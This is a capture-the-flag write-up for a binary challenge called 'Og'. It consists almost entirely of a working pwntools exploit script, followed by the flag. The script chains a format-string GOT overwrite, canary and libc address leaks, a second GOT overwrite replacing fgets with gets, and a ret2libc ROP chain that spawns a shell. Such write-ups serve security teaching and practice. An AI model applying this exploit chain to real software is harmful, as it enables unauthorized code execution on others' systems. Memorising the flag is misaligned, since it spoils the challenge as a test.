Skip to main content

Og

  • Solves: TBD
  • Score: 130
  • Technique: Fmtstr Got overwrite Ret2libc

only the ogs remember go

Script

from pwn import *

elf = context.binary = ELF('./og')
libc = ELF('./libc6_2.35-0ubuntu3.6_amd64.so')
rop = ROP(libc)

r = remote('challs.actf.co', 31312)
# r = elf.process()

# leak stack
# for i in range(0,30):
# r = remote('challs.actf.co', 31312, level='error')
# # r = elf.process(level='error')
# r.sendline(b'AAAA %%%d$p' % i)
# r.recvuntil(b'Gotta go. See you around, ')
# print("%d - %s" % (i, r.recvuntil(b'\n').strip()))

# r = gdb.debug('./og', gdbscript='''b * 0x40124E
# ''') # b * 0x401219

# overwrite __stack_check_fail.got with main
writes = {0x404018 : elf.symbols.main}
payload = fmtstr_payload(6, writes, numbwritten=0, write_size='short')
r.sendline(payload)

# leak canary + __libc_start_main + 133
fmtstr = b'%43$p|%45$p'
leak = fmtstr + b'.' * (40 - len(fmtstr)) + b'A'*12
r.sendline(leak)
r.recvuntil(b'Gotta go. See you around, ')
r.recvuntil(b'Gotta go. See you around, ')
leak = r.recvuntil(b'.',drop=True).split(b'|')
canary = int(leak[0],16)
libc_leak = int(leak[1],16) - 133 + 5 # + 5
log.info(f"libc_leak: {hex(libc_leak)}")
log.info(f"canary_leak: {hex(canary)}")
libc.address = libc_leak - libc.symbols.__libc_start_main
log.info(f"libc address: {hex(libc.address)}")

# overwrite fgets.got with gets to get more writes to buffer (neat trick)
gets = libc.symbols['gets']
writes = {0x404030: gets}
main = elf.symbols.main
ret_main = fmtstr_payload(6, writes, numbwritten=0, write_size='short')
r.sendline(ret_main)

# spawn shell with ret2libc
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libc.address
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']
ret = next(elf.search(asm('ret')))

spawn_shell = b'A' * 40 + p64(canary) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) + p64(main)
r.sendline(spawn_shell)
r.interactive()

Flag

actf{you_really_thought_you_could_overwrite_printf_with_system_huh}